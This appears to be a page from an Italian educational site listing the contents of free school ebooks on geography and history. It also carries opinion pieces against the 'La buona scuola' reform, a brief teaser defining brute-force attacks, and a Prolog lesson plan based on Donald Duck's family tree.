1. GEORGIA 347
2. ARMENIA351
3. AZERBAIGIAN 354
ASIA CENTRALE 356
1. TURKMENISTAN 357
2. TAGIKISTAN 360
3. UZBEKISTAN 362
4. AFGHANISTAN 365
5. KAZAKISTAN 368
REGIONE INDIANA 371
1. INDIA 372
2. PAKISTAN 377
3. BANGLADESH 381
4. NEPAL 384
5. BUTHAN389
6. SRI LANKA 392
7. MALDIVE 395
ASIA DEL SUD EST 399
1. BIRMANIA (Myanmar) 400
2. VIETNAM 405
3. LAOS 410
4. CAMBOGIA 413
5. THAILANDIA 418
6. SINGAPORE 423
7. BRUNEI 427
8. TIMOR ORIENTALE 429
9. FILIPPINE 432
10. INDONESIA 436
ESTREMO ORIENTE 440
1. CINA 441
2. TAIWAN 448
3. MONGOLIA 452
4. COREA DEL NORD456
5. COREA DEL SUD 459
6. GIAPPONE 462
OCEANIA469
1. AUSTRALIA470
2. NUOVA ZELANDA 476
3. PAPUA NUOVA GUINEA 480
4. VANUATU 483
5. FIGI 487
MICRONESIA 490
1. STATI FEDERATI DI MICRONESIA 490
2. PALAU 493
3. NAURU 496
4. TUVALU 498
5. KIRIBATI 501
POLINESIA 503
1. TONGA 503
2. SAMOA 506
AMERICA 508
1. Territorio 509
2. Clima 510
3. Storia 510
AMERICA SETTENTRIONALE 511
1. CANADA 512
2. STATI UNITI 517
AMERICA CENTRALE 523
1. MESSICO 523
2. GUATEMALA 528
3. BELIZE 532
4. HONDURAS 535
5. NICARAGUA 538
6. COSTA RICA542
7. PANAMÀ 544
8. EL SALVADOR546
9. CUBA 549
10. HAITI 553
11. GIAMAICA 555
12. BAHAMA 557
13. REPUBBLICA DOMINICANA 560
14. GRENADA 563
15. SANTA LUCIA 565
16. SAINT VINCENT E GRENALDINE 567
17. SAINT KITTS E NEVIS 569
18. BARBADOS 571
19. TRINIDAD E TOBAGO 573
AMERICA MERIDIONALE 575
1. VENEZUELA 576
2. BRASILE581
3. COLOMBIA 584
4. ECUADOR 588
5. BOLIVIA 593
6. PERÙ 597
7. SURINAME 601
8. GUYANA 603
REGIONE DEL CONO SUD 605
1. ARGENTINA 606
2. CILE 611
3. URUGUAY 616
4. PARAGUAY 620
REGIONI POLARI 623
1. ANTARTIDE 623
2. ARTIDE627Scheda del Gibuti 631

scarica Geo 3, Il mondo.

Geo 3

Il mondo

Per la Scuola Secondaria di Primo Grado

A cura di Elisabetta Leonetti
Coordinamento editoriale: Antonio Bernardo
Ricerca iconografica: Cristina Capone
Cartine tematiche: Studio Aguilar
Copertina Ginger Lab – www.gingerlab.it

Settembre 2013
ISBN 9788896354513
Progetto Educationalab
Mobility IT srl

Questo libro è rilasciato con licenza
Creative Commons BY-NC-SA
Attribuzione – Non commerciale – Condividi allo stesso modo 3.0
http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode
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Versione del 11/11/2013

Storia C3, L’età medievale

L’età medievale

Presentazione

Questo ebook di storia per la scuola secondaria di primo grado sull’età medievale fa parte di una collana di ebook con licenza Creative Commons BY-SA per la scuola. Il titolo Storia C3 vuole indicare che il progetto è stato realizzato in modalità Collaborativa e con licenza Creative Commons, da cui le tre “C” del titolo. Non vuole essere un trattato completo sull’argomento ma una sintesi sulla quale l’insegnante può basare la lezione, indicando poi testi e altre fonti per gli
approfondimenti. Lo studente può consultarlo come riferimento essenziale da cui partire per approfondire. In sostanza, l’idea è stata quella di indicare il nocciolo essenziale della disciplina, nocciolo largamente condiviso dagli insegnanti. La licenza Creative Commons, con la quale viene rilasciato, permette non solo di fruire liberamente l’ebook ma anche di modificarlo e personalizzarlo secondo le esigenze
dell’insegnante e della classe. Chiunque può contribuire a migliorare questo ebook, segnalando integrazioni, modifiche e sviste al coordinatore del progetto [email protected].

INDICE

L’IMPERO ROMANO: SOCIETÀ E ISTITUZIONI TRA IL II E
IL III SECOLO D.C. 7
1. La crisi delle istituzioni 7
2. La crisi dell’economia 7
3. La società si trasforma 7
4. I rapporti con le altre religioni 8
LA RELIGIONE CRISTIANA 9
1. La nascita di Gesù di Nazareth 9
2. I quattro Vangeli 10
3. Le prime comunità cristiane 11
4. La diffusione delle prime comunità cristiane 11
5. L’organizzazione delle prime comunità e la nascita della
  “chiesa” 12
6. Le persecuzioni 13
7. L’Impero romano e la crisi spirituale 14
LA CRISI DELL’IMPERO ROMANO 16
1. Differenze tra la città e la campagna 16
2. Evoluzione dei ceti dirigenti 17
3. Il periodo dell’anarchia militare 18
4. L’economia e la pressione dei germani 19
5. L’Oriente e la lotta contro i parti 19
6. Fine dell’unità imperiale e formazione di Stati autonomi 20
7. La sconfitta dei germani e la ripresa dell’impero 21
DIOCLEZIANO E LA FINE DELL’IMPERO D’OCCIDENTE 23
1. Diocleziano e la persecuzione dei cristiani 25
2. L’impero di Costantino 25
3. L’impero bizantino e Giustiniano 26
4. La civiltà bizantina 27
5. La guerra Gotica 29
LE INVASIONI BARBARICHE 31
1. La galassia “germanica”. 32
2. Germani e Romani 33
3. L’inizio delle invasioni 34
4. Rapporti tra Romani e Barbari 35
5. Gli Unni 36
6. Il declino definitivo dell’ Impero 39
7. Approfondimenti 40
L’ALTO MEDIOEVO 41
1. La cultura medioevale 41
2. Il senso del magico e il millenarismo 42
3. La cultura e l ’istruzione 42
4. La lingua 43
5. La diffusione dell’agiografia 44
6. Gli ostrogoti 44
7. I longobardi 46
8. La Chiesa ed il rapporto con i barbari 48
9. Lo sviluppo del monachesimo 49
LA NASCITA DI UN NUOVO IMPERO CRISTIANO 54
1. La nascita del regno dei Franchi 54
2. Carlo Magno ed il Sacro Romano Impero 56
3. Organizzazione dello Stato 58
4. L’economia ed aspetti della vita dell’Impero 60
LA NASCITA DI UNA NUOVA RELIGIONE MONOTEISTA 62
1. La penisola arabica e la vita dei beduini 62
2. Maometto e la istituzione dell’Islam 63
3. I precetti della religione islamica 65
4. Diffusione della religione ed espansionismo 65
5. Aspetti della civiltà musulmana: letteratura, arte e scienza. 66
L’ETA’ FEUDALE 69
1. La crisi del Sacro Romano Impero 69
2. Il fenomeno dell’incastellamento 71
3. L’economia curtense 72
4. Dall’impero alle monarchie 74
5. Lo scontro tra Impero e Papato 74
6. La lotta delle investiture 75
L’ETÀ DEI COMUNI E DELLE CITTÀ–STATO 77
1. Produzione agricola e commercio: la rinascita77
2. Il potere dal basso: la nascita delle città 78
3. Fiere e commerci 80
4. Le città marinare 81
5. La nascita del Comune 83
6. Le crociate 85
7. L’impero mongolo 88
8. Marco Polo 89
IL RAPPORTO TRA LA CHIESA E L’IMPERO 91
1. La discesa del Barbarossa 91
2. La lotta contro i comuni 91
3. Nuova discesa in Italia 93
4. Normanni e Italia meridionale 95
5. Il Papato di Innocenzo III 95
6. Gli ordini mendicanti 97
7. Federico II 98
IL 1300: SECOLO DELLA CRISI 100
1. La crisi demografica 100
2. La peste 100
3. La crisi e l’economia del Trecento 102
4. La società 102
5. Le rivolte degli esclusi 103
6. Il tumulto dei Ciompi 104
L’ETÀ DELLE MONARCHIE NAZIONALI 106
1. La Francia e la “pulzella d’Orleans” 106
2. L’Inghilterra e la Guerra delle due Rose 109
3. La Spagna e la Riconquista 110
4. La frontiera orientale 113
5. L’Europa dell’Est 114
L’ITALIA E LA CREAZIONE DI STATI REGIONALI 115
1. Ducato di Savoia 115
2. Il Ducato di Milano 115
3. La Repubblica di Venezia 117
4. La Signoria medicea 118
5. Lo Stato della Chiesa 119
6. L’Italia Meridionale 119
7. Dal comune alle signorie e al principato 120
8. Le città di Venezia e Genova 121
9. La città di Firenze 121
10. Elenco delle immagini utilizzate 123

scarica Storia C3, L’età medievale

Storia C3

L’età medioevale, per la Scuola Secondaria di Primo Grado

Autrice: Elisabetta Leonetti
Revisione del testo: Rossella Perone
Coordinamento editoriale: Antonio Bernardo
Ricerca iconografica: Cristina Capone
Cartine tematiche: Studio Aguilar
Copertina: Ginger Lab www.gingerlab.it

© Matematicamente.it
www.matematicamente.it – [email protected]
Giugno 2013
ISBN 9788896354469
Progetto Educationalab
Mobility IT srl

Questo libro è rilasciato con licenza
Creative Commons BY- NC-SA
Attribuzione – Non commerciale – Condividi allo stesso modo 3.0
http://creativecommons.org/licenses/by-nc- sa/3.0/legalcode

versione del 24 /1 0/2013

Storia C3, L’età moderna

Presentazione

Questo ebook di storia per la scuola secondaria di primo grado sulla storia dell’età moderna fa parte di una collana di ebook con licenza Creative Commons BY-SA per la scuola. Il titolo Storia C3 vuole indicare che il progetto è stato realizzato in modalità Collaborativa e con licenza Creative Commons, da cui le tre “C” del titolo. Non vuole essere un trattato completo sull’argomento ma una sintesi sulla quale l’insegnante può basare la lezione, indicando poi testi e altre fonti per gli approfondimenti. Lo studente può consultarlo come riferimento essenziale da cui partire per approfondire. In sostanza, l’idea è stata quella di indicare il nocciolo essenziale della disciplina, nocciolo largamente condiviso dagli insegnanti. La licenza Creative Commons, con la quale viene rilasciato, permette non solo di fruire liberamente l’ebook ma anche di modificarlo e personalizzarlo secondo le esigenze dell’insegnante e della classe. Chiunque può contribuire a migliorare questo ebook, segnalando integrazioni, modifiche e sviste al coordinatore del progetto [email protected].

INDICE

L’ETA’ DELLA RINASCITA 10
1. L’importanza del Rinascimento 10
2. Caratteri essenziali della nuova cultura11
3. Scienza e natura nel Rinascimento 13
4. Arte e architettura del Rinascimento 14
5. Approfondimenti 15
L’ETA’ DELLE ESPLORAZIONI 16
1. La via verso Oriente 16
2. Il Portogallo e la ricerca di nuove terre 16
3. L’avventura di Cristoforo Colombo 18
4. Gli esploratori europei e le nuove rotte oceaniche20
5. Approfondimenti 22
DALL’EUROPA AL MONDO EXTRAEUROPEO: AMERICA E ASIA 23
1. La via della seta: i Mongoli23
2. La Cina e il viaggio di Marco Polo 24
3. L’America delle civiltà precolombiane25
4. I Maya 26
5. Gli Aztechi 28
6. Gli Incas 29
7. L’arrivo dei conquistadores e il genocidio degli amerindi31
8. Approfondimenti 31
LA SOCIETA’ DEL CINQUECENTO 32
1. L’economia del Cinquecento 32
2. Lo sviluppo delle città 32
3. La rivoluzione dei prezzi33
4. Approfondimenti 33
LA RIFORMA E LA CONTRORIFORMA CATTOLICA 34
1. Quali furono le cause della Riforma? 35
2. Lutero e l’esigenza della Riforma 36
3. Conseguenze della Riforma in Europa39
  - Guerra tra cattolici e protestanti in Germania39
  - Il calvinismo41
  - La diffusione della Riforma 42
4. Il Concilio di Trento e la Controriforma 43
  - I Gesuiti46
5. Approfondimenti 48
L’EUROPA E LE GUERRE DI RELIGIONE49
1. La Spagna di Carlo V 49
  - La prima fase del conflitto 51
  - La seconda fase del conflitto53
  - La terza fase del conflitto 53
2. La Spagna di Filippo II54
  - Il Siglo de oro55
  - La guerra contro i turchi 55
3. L’Inghilterra di Elisabetta I 56
  - La politica di Elisabetta 57
4. La Francia e le guerre di religione 59
  - La notte di San Bartolomeo 60
  - La guerra dei tre Enrichi 61
  - Enrico IV61
  - La politica e l’economia sotto il regno di Enrico IV 62
5. L’Italia e il dominio spagnolo 62
6. L’età della Rivoluzione Scientifica 64
7. Approfondimenti 67
L’ETA’ DELLO STATO: FRANCIA E INGHILTERRA68
1. Il tramonto della potenza spagnola68
2. La Francia dell’ancien regime e dell’assolutismo 69
3. L’ Inghilterra e la “Gloriosa Rivoluzione”71
4. L’Europa e gli stati in formazione: la Russia di Pietro il Grande72
5. Approfondimenti 73
LA PRIMA RIVOLUZIONE INDUSTRIALE 74
1. I caratteri della Rivoluzione Industriale 74
2. Le nuove tecnologie 75
  - La nascita della fabbrica 77
3. Luci e ombre della questione sociale 77
4. Effetti negativi della industrializzazione78
5. Approfondimenti 78
IL SECOLO DEI LUMI E DELLE RIVOLUZIONI 79
1. La ragione come “lume naturale”: il pensiero dei philosophes 79
2. L’Illuminismo in Italia 81
3. La diffusione di una nuova visione dell’economia e della politica81
4. I “re filosofi” 82
  - Russia83
  - Austria84
  - Prussia 85
  - Approfondimenti 85
LA RIVOLUZIONE AMERICANA 86
1. Amministrazione delle colonie 88
2. La situazione dei coloni americani 88
3. Rapporti economici con la madre patria 89
4. Dalla guerra alla Dichiarazione d’Indipendenza 89
5. Approfondimenti 90
LA SOCIETA’ DELL’ANCIEN REGIME 91
1. La Rivoluzione francese 92
2. Caratteri della società francese 92
3. Opinione pubblica93
4. Dagli Stati generali all’Assemblea Costituente 94
5. Il 14 luglio 1789 e la presa della Bastiglia 96
6. Dalla monarchia alla Repubblica97
7. Le diverse anime del movimento rivoluzionario 99
8. L’assemblea costituente e la Costituzione del 1791 100
9. Processo e condanna del re 101
10. La guerra della Vandea102
11. Dal Terrore alla riscossa della borghesia103
12. Approfondimenti 104
DAL DIRETTORIO A NAPOLEONE BONAPARTE 105
1. La campagna d’Italia e la nascita delle Repubbliche 106
2. La Campagna di Egitto e l’ascesa politica di Napoleone 108
3. Ritorno in Francia e Consolato 110
4. L’Impero napoleonico e l’egemonia sull’Europa 111
5. Le battaglie napoleoniche 114
6. Dalla conquista di Mosca all’epilogo di Sant’Elena 114
7. Approfondimenti 117
L’ETÀ DELLA RESTAURAZIONE118
1. Le decisioni del Congresso di Vienna 118
2. I grandi d’Europa e la Santa Alleanza 119Storia C3 L’età moderna 7
3. Gli effetti della Restaurazione 121
4. L’idea liberale e il liberismo economico 121
5. Dal Romanticismo alle idee di libertà e di Nazione 122
LA SECONDA RIVOLUZIONE INDUSTRIALE124
1. Caratteri della Seconda Rivoluzione Industriale 124
2. Il ruolo del capitalismo e delle banche 125
3. L’organizzazione del lavoro ed il Taylorismo 126
4. Invenzioni, scoperte e applicazioni: 126
  - L’elettricità126
  - Le scoperte legate al petrolio 128
  - La fotografia ed il cinema 129
  - L’età dell’acciaio 129
  - La chimica130
  - La biologia 130
  - L’industria alimentare 131
  - Sviluppo demografico ed emigrazione 131
5. Il ruolo della classe operaia 132
6. L’Ottimismo del Positivismo132
7. La Chiesa e l’attenzione ai problemi sociali133
8. Approfondimenti 133
L’ETA’ DELLE RIVOLUZIONI LIBERALI IN EUROPA134
1. Le prime associazioni clandestine liberali 134
2. I moti del 1820-1821 IN EUROPA E IN ITALIA 135
3. La Grecia ed il tentativo di indipendenza 137
4. L’America latina e le lotte per l’indipendenza 137
5. La dottrina di Monroe139
6. La Francia e la Rivoluzione di luglio 139
7. I moti del 1830-1831in Europa e in Italia140
8. I moti del 1848 142
  - La Francia 142
  - L’impero asburgico 144
  - Gli stati tedeschi144
IL RISORGIMENTO146
1. Il dibattito risorgimentale 146
2. Giuseppe Mazzini e la Giovine Italia 147
3. Mazzini : Dio e Popolo 148
4. Repubblica federale di Carlo Cattaneo 149
5. Il Neoguelfismo di Gioberti. 150
6. Cesare Balbo e Massimo D’Azeglio 150
7. I moti del 1848 in Italia 151
8. La Prima guerra d’Indipendenza 152
  - Entrata in guerra di Carlo Alberto 154
9. Ultime resistenze 155
10. Ultimo tentativo di Carlo Alberto 155
11. Approfondimenti 156
VERSO L’UNITA’ D’ITALIA 157
1. Il ruolo di Camillo Benso conte di Cavour157
2. Il pensiero politico 158
3. Le riforme 158
4. La politica estera159
5. Politica estera160
6. La Seconda guerra d’Indipendenza 162
7. La spedizione dei Mille 163
8. I simboli della nazione: l’inno d’Italia e la bandiera tricolore. 167
9. Gli stemmi regionali 169
10. Approfondimenti 174
LO STATO ITALIANO E LA SUA ORGANIZZAZIONE 175
1. Il nuovo Stato italiano175
2. La Destra storica 175
3. I problemi del Mezzogiorno e del brigantaggio 177
4. La Terza guerra d’Indipendenza178
5. La sinistra al potere181
  - La politica economica 182
6. La politica estera182
  - Francesco Crispi183
  - La politica estera 183
  - La fine del secolo 184
PROBLEMI DI FINE SECOLO: NAZIONALISMO E COLONIALISMO 185
1. Crescita degli Stati Uniti e problemi civili 185
  - Alla conquista del West 185
  - La guerra tra gli Stati del Nord e gli Stati del Sud 186
2. L’ascesa della Germania alla fine del secolo187
3. La Terza Repubblica in Francia190
4. L’epoca vittoriana in Gran Bretagna 191
IL NUOVO COLONIALISMO E L’IMPERIALISMO193
1. Il colonialismo in Africa194
2. Il colonialismo in Asia196
3. Il colonialismo americano 196
4. Il periodo del “progresso”196

Elenco delle immagini utilizzate198

Scarica Storia C3, L’età moderna.

Storia C3

L’età moderna

Storia per il secondo anno della scuola secondaria di primo grado

Autore: Elisabetta Leonetti
Revisione del testo: Rossella Perone
Coordinamento editoriale: Antonio Bernardo
Ricerca iconografica: Cristina Capone
Cartine tematiche: Studio Aguilar
Copertina: Ginger Lab www.gingerlab.it

ISBN 9788896354452
Progetto Educationalab
Mobility IT srl

Questo libro è rilasciato con licenza
Creative Commons BY-NC-SA
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http://creativecommons.org/licenses/by-nc-sa/3.0/legalcode

versione del 24/10/2013

Storia C3, Il Novecento

Presentazione

Questo ebook di Storia sul Novecento per la scuola secondaria di primo grado fa parte di una collana di ebook con licenza Creative Commons BY-SA per la scuola. Il titolo Storia C3 vuole indicare che il progetto è stato realizzato in modalità Collaborativa e con licenza Creative Commons, da cui le tre “C” del titolo. Non vuole essere un trattato completo sull’argomento ma una sintesi sulla quale l’insegnante può basare la lezione, indicando poi testi e altre fonti per gli
approfondimenti. Lo studente può consultarlo come riferimento essenziale da cui partire per approfondire. In sostanza, l’idea è stata quella di indicare il nocciolo essenziale della disciplina, nocciolo largamente condiviso dagli insegnanti. La licenza Creative Commons, con la quale viene rilasciato, permette non solo di fruire liberamente l’ebook ma anche di modificarlo e personalizzarlo secondo le esigenze dell’insegnante e della classe. Chiunque può contribuire a migliorare questo ebook, segnalando integrazioni, modifiche e sviste al
coordinatore del progetto [email protected].

INDICE

LO SCENARIO EUROPEO ALL’INIZIO DEL SECOLO 8
1. La società di massa 8
2. Lo scenario culturale e politico all’alba del secolo 9
3. L’Italia e l’età giolittiana 12
4. La politica economica e la politica interna13
5. La politica estera e l’impresa libica16
LA PRIMA GUERRA MONDIALE 17
1. L’avvio della “Grande Guerra” 18
2. L’Italia verso la guerra: dal “Patto Salandra” al dibattito tra interventisti e neutralisti 20
3. Dalla guerra di movimento alla guerra di posizione 21
4. Il 1917 e la “svolta” 23
5. La disfatta di Caporetto 25
LA RIVOLUZIONE RUSSA 27
1. Una società anacronistica 27
2. La Repubblica 29
3. Lenin30
4. Il governo di Lenin 32
5. Dalla “guerra civile” alla nascita dell’URSS 33
IL DOPOGUERRA 36
1. Il Dopoguerra in Europa 36
2. I Trattati di Pace e i 14 punti di Wilson 37
3. Il Biennio Rosso in Europa 38
4. Il mito della “vittoria mutilata” e l’impresa di Fiume 39
5. Il dopoguerra ed il Biennio Rosso in Italia 41
6. Il Partito Comunista 43
L’ECONOMIA DOPO LA GUERRA E LA CRISI DEL ’29 .44
1. La vita in USA negli “anni ruggenti” 44
2. Il crollo del 1929 46
3. Roosevelt e il “New Deal” 48
L’EUROPA TRA DEMOCRAZIE E REGIMI: Conseguenze della crisi economica del ’2951
1. La nascita della Repubblica di Weimar51
2. La Spagna e la “guerra civile” 54
L’ETA’ DEI TOTALITARISMI NEL MONDO 60
1. Il Sud America 60
2. La Cina 61
IL TOTALITARISMO IN EUROPA 63
1. Dalla nascita del fascismo alla marcia su Roma 63
2. 1922-1924: la fase legalitaria 68
3. La fase della dittatura fascista 71
4. Gli strumenti del consenso 72
5. I Patti lateranensi 72
6. Economia dello Stato fascista 73
7. Il totalitarismo imperfetto74
8. La guerra coloniale e l’Impero 74
9. L’antifascismo 77
LA NASCITA DEL NAZISMO 79
1. L’ascesa al potere del nazionalsocialismo e di Hitler. 79
2. Hitler80
3. Streseman e il governo di transizione 81
4. La crisi della Repubblica di Weimar 82
5. La costituzione del terzo Reich 83
6. L’antisemitismo 86
7. I Lager 88
8. La nascita dello Stalinismo 90
LA SECONDA GUERRA MONDIALE 93
1. L’invasione della Polonia 93
2. La guerra ad ovest 94
3. La battaglia d’Inghilterra 96
4. L’entrata in guerra dell’Italia 97
5. Anno 1941: attacco alla Russia 99
6. L’Italia e la guerra in Russia 101
7. Allargamento del conflitto 101
8. Giappone e Stati Uniti: la guerra globale 101
9. Hitler dichiara guerra agli Stati Uniti 103
10. La guerra parallela dell’Italia 104
11. La Shoah 111
12. 1943: l’anno delle conferenze 113
13. 1944: lo sbarco in Normandia 113
14. La guerra del Giappone 115
15. Il processo di Norimberga 116
IL DIFFICILE DOPOGUERRA E LA GUERRA FREDDA 119
1. Lo scenario post-bellico in Europa 119
2. L’età della “guerra fredda” 119
3. Un equilibrio basato sul terrore e l’Europa divisa in blocchi 121
4. Gli aiuti americani ed il “Piano Marshall” 122
5. La Comunità europea 123
6. L’Europa dell’Est 126
7. La Francia e la guerra di Algeria 128
8. Il Muro di Berlino 130
9. Cuba e la rivoluzione 131
10. Kennedy e la “Nuova Frontiera” 133
11. Gli anni Sessanta e la contestazione 134
L’ETÀ DELLA DECOLONIZZAZIONE 138
1. Il Medio Oriente 138
2. Lo Stato di Israele 139
3. L’India 140
4. Sud-est asiatico 143
5. L’Africa del Maghreb 145
6. L’Africa nera 146
7. Il Sudafrica 146
8. America latina 147
IL CROLLO DEL “MURO DI BERLINO” E UN’EUROPA DIVERSA149
1. Berlino ed il crollo del Muro 149
2. La dissoluzione dell’Impero Sovietico 150
L’ITALIA DALLA DEMOCRAZIA CRISTIANA AGLI ANNI DEL TERRORISMO155
1. Gli anni del Dopoguerra 155
2. La nascita della Repubblica 155
3. Dal referendum alla nascita della Repubblica 156
4. La nostra Costituzione 158
5. I partiti e la ricerca della stabilità 161
6. La organizzazione dello Stato e i governi di centro 161
7. Una società che si trasforma 162
8. Il fenomeno dell’emigrazione 163
9. I governi di centro-sinistra 164
10. La contestazione del Sessantotto 166
11. La stagione del terrorismo e delle “stragi” 167
12. Aldo Moro e il compromesso storico 171
13. Gli anni ottanta 173
14. La Chiesa ed il pontificato di Karol Wojtyla 174
L’ITALIA DELLA SECONDA REPUBBLICA 177
1. La Lega Lombarda e il Pds 177
2. Il 1992 : Tangentopoli e le elezioni 178
3. La procura di Milano e “Mani Pulite” 178
4. Il problema della criminalità organizzata: due vittime illustri Giovanni Falcone e Paolo Borsellino 179
5. Gli anni del bipolarismo 181
6. L’Italia e l’Unione Europea 183
NUOVI SCENARI DEL XXI SECOLO 186
1. Alla ricerca di un equilibrio internazionale 186
2. La guerra del Golfo 187
3. L’11 settembre ed il nuovo terrorismo mondiale 187
4. Il ruolo degli Stati Uniti 189
L’UNIONE EUROPEA 191
1. L’Unione Europea ed il Trattato di Maastricht 191
VERSO UNA SOCIETA’ COMPLESSA E GLOBALIZZATA 193
1. La globalizzazione 193
2. È possibile governare la globalizzazione? 195
3. La rivoluzione telematica 195
4. Il problema dell’ambiente 197
5. Verso una società multietnica 200

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Storia C3

Il Novecento

Per la Scuola Secondaria di Primo Grado

ISBN 9788896354445
Progetto Educationalab
Mobility IT srl

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Attribuzione – Non commerciale – Condividi allo stesso modo 3.0
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versione del 24/10/2013

Il presidente della Repubblica ha sbagliato firmando “La buona scuola”

Costituzione – Art. 76 – L’esercizio della funzione legislativa non può essere delegato al Governo se non con determinazione di principî e criteri direttivi e soltanto per tempo limitato e per oggetti definiti.

Il governo ha la responsabilità di elaborare, nei tempi previsti, il testo della legge che il presidente della Repubblica promulgherà.

Con la pubblicazione del decreto delegato si esaurisce l’efficacia della legge delega.

Il presidente Mattarella ha infranto tale principio sorvolando sul fatto che il fondamento della buona scuola è una legge delega. L’art. 1 recita: “La presente legge dà piena attuazione all’autonomia delle istituzioni scolastiche di cui all’articolo 21 della legge 15 marzo 1997, n. 59“.

Incontrovertibile il significato del riferimento a una norma che appartiene alla storia. L’elaborazione della delega è a firma D’Alema, Berlinguer, Ciampi che hanno stabilito: “L’autonomia delle istituzioni scolastiche… si sostanzia nella progettazione e nella realizzazione di interventi di educazione, formazione e istruzione mirati allo sviluppo della persona umana“, un principio che l’attuale governo ha voluto cestinare.

Il titolo del provvedimento è sufficiente per cogliere la sua carica conservatrice, la sua volontà di riportare la scuola a tempi molto lontani: non più “sistema educativo di istruzione e formazione” ma “sistema nazionale di istruzione e formazione”.

Sul campo erano schierati due modelli di scuola; il primo aveva a cardine la progettualità, l’attuale si fonda sull’insegnamento: da un lato la scientificità, dall’altro lato l’adeguamento all’esistente.
Due concezioni di governo della scuola si sono confrontate: il controllo endogeno, fondato sul confronto tra obiettivi programmati e risultati conseguiti è stato sostituito da quello esogeno, affidato a terzi.
La visione dinamica del contesto socio economico è stata offuscata da quella statica: l’imprevedibilità dello scenario cui si affaccerà uno studente che accede al primo anno della secondaria non è stata presa in considerazione.
L’orientamento del sistema scolastico è stato modificato: non più la promozione delle capacità dei giovani ma l’adattamento alle tendenze del momento.

Disinformazione e prassi parlamentare

“La buona scuola è legge” è un’affermazione ricorrente, un’asserzione superficiale, giuridicamente errata: la firma del Presidente della Repubblica alla delibera parlamentare è la condizione necessaria per la sua conversione.
Nessuno ha considerato che il presidente Mattarella non può apporre la sua firma alla riforma della scuola: un suo caposaldo è giuridicamente inconsistente, perché errato. La volontà trasgressiva è enunciata all’art. 1: “La presente legge dà piena attuazione all’autonomia delle istituzioni scolastiche di cui all’articolo 21 della legge 15 marzo 1997, n. 59”. Il riferimento normativo riguarda una legge delega, di validità temporale definita, conferita al governo.
Incontrovertibile il significato dell’errore. L’elaborazione della delega è a firma D’Alema, Berlinguer, Ciampi che hanno stabilito: “L’autonomia delle istituzioni scolastiche… si sostanzia nella progettazione e nella realizzazione di interventi di educazione, formazione e istruzione mirati allo sviluppo della persona umana”, un principio che l’attuale governo ha voluto cestinare. Il titolo del provvedimento è sufficiente per cogliere la sua carica conservatrice, la sua volontà di riportare la scuola a tempi molto lontani: non più “sistema educativo di istruzione e formazione” ma “sistema nazionale di istruzione e formazione”.

Missione sommersa

La notte del 25 di agosto i sismografi del mondo intero registrano scosse di grado 8,5 della Scala Richter, con epicentro nell’Oceano Pacifico. La zona era già sotto osservazione da tempo per la intensa attività vulcanica sommersa. Continua a leggere “Missione sommersa” →

Virus e sicurezza informatica: attacco Brute Force

L’attacco informatico di tipo Brute Force è stato uno tra i primi ad essere inventato. Il suo funzionamento si basa sullo scoprire una password o una chiave d’accesso provando tutte le combinazioni possibili. Continua a leggere “Virus e sicurezza informatica: attacco Brute Force” →

I responsabili del disservizio scolastico sono premiati

Il DDL governativo, che la camera dei deputati ha votato, vede la scuola come una scatola nera: non è importante quanto avviene al suo interno, è sufficiente che l’output di sistema corrisponda alle attese.

Ben diverso sarebbe stato l’orientamento de “la buona scuola” se il campo del problema fosse stato studiato e se le norme vigenti fossero state assunte come vincolo.

Un caso, uno solamente basta a illuminare la scena scolastica.

In questi giorni gli studenti sostengono il colloquio dell’esame di terza media che “non deve consistere in una somma di colloqui distinti: ad esempio, le capacità di osservazione e di visualizzazione relative all’educazione artistica possono essere accertate anche nel corso di una conversazione su un tema di carattere letterario o scientifico”.

CAPACITÀ è la parola chiave: esprime la finalità del sistema educativo, meta che unifica tutti gli insegnamenti.

“Nella loro differenziata specificità le discipline sono dunque strumento e occasione per uno sviluppo unitario, articolato e ricco di funzioni .. indispensabili alla maturazione di persone responsabili e in grado di compiere scelte”.
Il traguardo comune implica la messa a punto d’itinerari coordinati e convergenti.
Radicale il cambiamento che la sua introduzione induce: il lavoro dei docenti non può e non deve essere ancora considerato un’attività individuale.
Il significato di libertà d’insegnamento, baluardo della conservazione, cambia sostanzialmente.

Si trascrive l’art. 2 della legge 53/2003 lettera a) che formalizza la caratterizzazione del servizio scolastico: “È promosso l’apprendimento in tutto l’arco della vita e sono assicurate a tutti pari opportunità di raggiungere elevati livelli culturali e di sviluppare le capacità e le competenze, attraverso conoscenze e abilità, generali e specifiche, coerenti con le attitudini e le scelte personali, adeguate all’inserimento nella vita sociale e nel mondo del lavoro, anche con riguardo alle dimensioni locali, nazionale ed europea”.

L’identificazione degli obiettivi formativi e di quelli educativi, l’unitarietà gestionale, la formulazione d’ipotesi d’intervento, il flusso informativo unificante l’attività degli organismi collegiali, la capitalizzazione degli scostamenti obiettivi-risultati sarebbero acquisiti se i dirigenti scolastici non avessero omesso di includere, negli ordini del giorno da loro stilati, i corrispondenti adempimenti obbligatori.

Intelligenza artificiale: un assaggio (terzo incontro)

Sk. 1/terzo incontro

Documento di <a href="http://office.com">Microsoft Office</a> incorporato, con tecnologia Office Online.

La famiglia di Paperino fornisce l’occasione per individuare i fatti e le regole necessari all’identificazione di fratelli/sorelle/zii/zie/cognata…

Il padre di Paperone Paperon de' Paperoni si chiamava Fergus de’ Paperoni Fergus de' Paperoni che era sposato con Piumina O’Drake Piumina O'Drake

Erano nobili. Appartenevano a un clan scozzese caduto in disgrazia.

Paperone aveva 2 sorelle
Matilda Matilda Ortensia.

Ortensia si è sposata con Quackmore e sono nati 2 gemelli Della Della e Paperino.

Della ha avuto Qui, Quo e Qua da uno sconosciuto
Qui Quo e Qua

Proposta di lavoro

Descrivete la situazione familiare di Paperino in Prolog per costituire la base di conoscenza.

Le interrogazioni saranno del tipo:

Chi sono i fratelli di Qui? ?- fratello(qui,X).
Chi è la nonna di Quo? ?- nonna(quo,X).
Chi è la zia di Paperino? ?- zia(paperino,X).
Chi sono gli antenati di Qua? ?- antenati(qua,X).

Lavoro di gruppo

Progettate con carta e matita la base di conoscenza e controllatene la validità in aula informatica.

La comunicazione alla classe degli esiti dell’attività svolta sarà rinforzata dall’uso di slide Powerpoint. Può essere opportuno, vista l’esiguità del tempo, suddividere il lavoro in parti e affidare la realizzazione delle diapositive ai diversi componenti il gruppo. Seguirà l’assemblaggio.

Tempo: 20′ + 50′ + 10′

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DDL scuola: speriamo che il Senato capisca

L’organigramma della scuola

Organi di governo della scuola come descritti nel TU 297/94

Modello prescritto dal TU 297/94: organi di governo

Organigramma come desunto dal decreto legislativo n. 150 del 27/10/2009 art. 37

